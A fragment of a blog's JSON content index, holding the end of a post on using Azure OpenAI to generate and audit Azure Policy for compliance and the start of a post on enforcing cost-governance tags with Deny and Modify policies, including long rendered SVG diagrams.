text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eBy auditing the \u003cstrong\u003esemantic intent\u003c/strong\u003e of the code, AI can catch workarounds—like a developer adding a parameter that defaults to an insecure value—that traditional scanners miss.\u003c/p\u003e\n\u003ch2 id=\"4-explaining-violations-in-plain-language\"\u003e4. Explaining Violations in Plain Language\u003c/h2\u003e\n\u003cp\u003eThe most frustrating part of compliance is seeing an error like \u003ccode\u003eFieldValueMismatch on Microsoft.CognitiveServices/accounts/publicNetworkAccess\u003c/code\u003e. You know something is wrong. You don\u0026rsquo;t know what to do about it.\u003c/p\u003e\n\u003ch3 id=\"ai-remediation-guides\"\u003eAI Remediation Guides\u003c/h3\u003e\n\u003cp\u003ePass the \u003ccode\u003epolicyState\u003c/code\u003e record to Azure OpenAI to generate a fix guide in plain language. The translation from compliance error to actionable instruction takes seconds.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore:\u003c/strong\u003e \u003ccode\u003eFieldValueMismatch: publicNetworkAccess\u003c/code\u003e\n\u003cstrong\u003eAfter (AI-Generated):\u003c/strong\u003e \u0026ldquo;Your Azure OpenAI resource \u0026lsquo;ai-prod-01\u0026rsquo; is non-compliant. The \u0026lsquo;Privacy-First Blueprint\u0026rsquo; requires that public network access be Disabled. To fix this, update line 12 of your Bicep file to set \u003ccode\u003epublicNetworkAccess: 'Disabled'\u003c/code\u003e or run the following Azure CLI command: \u003ccode\u003eaz cognitiveservices account update ... --public-network-access Disabled\u003c/code\u003e.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eThis is where AI earns its place in a compliance workflow. Policy authoring is a one-time cost; violation triage happens every sprint.\u003c/p\u003e\n\u003ch2 id=\"5-microsoft-defender-for-cloud-integration\"\u003e5. Microsoft Defender for Cloud Integration\u003c/h2\u003e\n\u003cp\u003eIn 2026, \u003cstrong\u003eMicrosoft Defender for Cloud (MDC)\u003c/strong\u003e acts as the central aggregator for AI compliance. Use the \u003cstrong\u003eCustom Recommendations\u003c/strong\u003e feature to create findings based on Azure Resource Graph (KQL) queries.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-kusto\" data-lang=\"kusto\"\u003e// ARG Query: Find OpenAI resources with public access\nresources\n| where type == \u0026#34;microsoft.cognitiveservices/accounts\u0026#34;\n| where properties.publicNetworkAccess != \u0026#34;Disabled\u0026#34;\n| project id, name, subscriptionId\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAI Authoring is Safer:\u003c/strong\u003e AI handles the syntax; you review the logic.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eShift-Left with Semantic Audit:\u003c/strong\u003e Use LLMs to scan IaC code in PRs to catch gaps before they reach production.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Mode First:\u003c/strong\u003e Always assign a new policy in \u003ccode\u003eAudit\u003c/code\u003e mode for 48 hours to measure impact before switching to \u003ccode\u003eDeny\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy is the Contract:\u003c/strong\u003e Your Azure Policy repository is the executable contract for your Landing Zone\u0026rsquo;s security posture.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eThe Privacy-First AI DevOps Blueprint is now complete.\u003c/strong\u003e By integrating these eight layers—from Private Link to Continuous Compliance—you have built a zero-trust environment where AI is a secure productivity multiplier.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/concepts/definition-structure\"\u003eMicrosoft Learn: Azure Policy definition structure\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/defender-for-cloud/custom-recommendations\"\u003eMicrosoft Learn: Create custom security recommendations in MDC\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Azure/azure-policy\"\u003eGitHub: Azure Policy Community Repository\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/templates/microsoft.authorization/policydefinitions\"\u003eAzure SDK: Microsoft.Authorization policy definitions reference\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment where a continuous loop of glowing code fragments flows from left to right through a series of checkpoint gates. At each gate, a bright scanning beam — thin and precise like a laser — sweeps across the data stream. Fragments that pass the scan continue forward as clean white light; fragments that fail are highlighted in amber and deflected downward into a collection zone. The overall composition resembles a factory conveyor belt reimagined in pure data. Deep black background, electric blue and amber accent colors, no text, no UI elements.\n\n**Prompt 2 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A clean Blender-style isometric 3D illustration of a compliance pipeline. Stacked geometric JSON document blocks travel along a conveyor system from left to right. Above the conveyor, a floating AI inspection arm with a glowing magnifying lens scans each block. Blocks marked with a green glow continue to a \"deployed\" platform on the right. Blocks marked in amber are redirected to a correction station below. The background is a dark navy grid. Cool blue and green accent lighting, no text, no labels.\n\n**Prompt 3 — Minimalist Vector / Flat**\nWide landscape format, 16:9 aspect ratio. A flat vector illustration using a strict four-color palette of dark navy, cool white, teal, and amber. The composition shows a horizontal pipeline divided into four stages — represented by clean geometric shapes: a circle (draft), a diamond (audit), a shield (enforce), and a checkmark-enclosed hexagon (compliant). Abstract policy document silhouettes flow between stages along thin connecting lines. The shield stage radiates subtle concentric rings suggesting enforcement coverage. No gradients except subtle ones within shapes, no text, no labels, no UI elements.\n\n**Prompt 4 — Photorealistic / Cinematic**\nWide landscape format, 16:9 aspect ratio. A cinematic shot of a dark glass-walled security operations center at night. In the foreground, a wide holographic projection surface shows abstract compliance scan results — rows of glowing geometric indicators shifting from amber to green as an unseen process audits them. The background shows floor-to-ceiling windows with city lights in the distance. The lighting is cool blue from the holograms contrasting with warm amber from a desk lamp just out of frame. No faces visible, no readable text or UI elements in the holographic display — only abstract glowing shapes and color-coded indicators.\n--\u003e\n","description":"Use Azure OpenAI to draft custom Azure Policy definitions, audit IaC for compliance drift, and explain policy violations — all integrated into a GitOps CI/CD pipeline.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/continuous-compliance-using-ai-to-generate-and-audit-azure-policy/","title":"Continuous Compliance: Using AI to Generate and Audit Azure Policy"},{"content":"\u003cp\u003eThe Azure invoice arrives on a Friday. $12,000 over budget. You spend the weekend clicking through the Cost Management portal, filter by resource group, filter by service, filter by tag — except half the resources have no tags at all. By Monday you have a spreadsheet, a list of suspects, and a standing meeting that nobody wanted.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Unlimited scalability\u0026rdquo; is a great line for a sales deck. It is a liability for anyone who has to explain a bill. The problem is never the scale; it\u0026rsquo;s that nothing stopped an untagged VM from spinning up at $2/hour and running for six weeks while three teams each assumed someone else owned it.\u003c/p\u003e\n\u003cp\u003eIn your landing zone, cost governance cannot be reactive. If a resource lacks a required tag, ARM should reject the deployment. If a subscription approaches its budget ceiling, your team should know before it crosses, not after. Here\u0026rsquo;s how to wire up those controls using \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e — proactive enforcement and automated anomaly detection, not a spreadsheet you update quarterly.\u003c/p\u003e\n\u003ch2 id=\"1-tagging-enforcement-the-foundation-of-accountability\"\u003e1. Tagging Enforcement: The Foundation of Accountability\u003c/h2\u003e\n\u003cp\u003eEvery FinOps capability — chargeback, showback, and anomaly detection — depends on tags. A resource without a \u003ccode\u003eCostCenter\u003c/code\u003e tag cannot be mapped to a business unit. That untagged VM from Friday\u0026rsquo;s invoice? That\u0026rsquo;s what \u0026ldquo;no tag\u0026rdquo; looks like at scale.\u003c/p\u003e\n\u003ch3 id=\"why-tags-drive-finops\"\u003eWhy Tags Drive FinOps\u003c/h3\u003e\n\u003cp\u003eA practical enterprise tagging schema uses 3–5 mandatory keys:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eCostCenter\u003c/code\u003e: Maps resource to a billing entity.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eEnvironment\u003c/code\u003e: Separates cost by lifecycle stage.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eOwner\u003c/code\u003e: Identifies the accountable team or individual.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAzure Cost Management and the \u003cstrong\u003eFOCUS v1.3\u003c/strong\u003e export format all treat these tags as first-class dimensions.\u003c/p\u003e\n\u003ch3 id=\"proactive-tagging-with-deny-policies\"\u003eProactive Tagging with Deny Policies\u003c/h3\u003e\n\u003cp\u003eA Deny policy evaluates the \u003ccode\u003etags\u003c/code\u003e property of an ARM request \u003cem\u003ebefore\u003c/em\u003e the resource is created. ARM will return a \u003ccode\u003e403 Forbidden\u003c/code\u003e if the mandatory tag is missing.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePro Tip:\u003c/strong\u003e Use \u003ccode\u003emode: 'Indexed'\u003c/code\u003e in your definition to ensure the policy skips resources that do not support tags (like NICs or managed identities), preventing \u0026ldquo;Mystery Block\u0026rdquo; errors during complex deployments.\u003c/p\u003e\n\u003ch2 id=\"2-automating-tag-inheritance\"\u003e2. Automating Tag Inheritance\u003c/h2\u003e\n\u003cp\u003eYour application teams will create child resources — OS disks, diagnostic settings, network interfaces — and those resources will not inherit tags from their parent Resource Group. That\u0026rsquo;s not a mistake; that\u0026rsquo;s just how ARM works. A \u003cstrong\u003eModify\u003c/strong\u003e policy closes the gap by automatically copying specified tags from the Resource Group down to every resource created within it.\u003c/p\u003e\n\u003ch3 id=\"tag-inheritance-policy-flow-modify-effect\"\u003eTag Inheritance Policy Flow (Modify Effect)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 344 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,112 L 56,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,128 L 104,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,208 L 104,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='120.000000,80.000000 108.000000,74.400002 108.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 112.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='120.000000,160.000000 108.000000,154.399994 108.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 112.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='120.000000,240.000000 108.000000,234.399994 108.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 112.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='260' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='292' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='260' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='260' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='260' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='260' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='260' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='260' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext 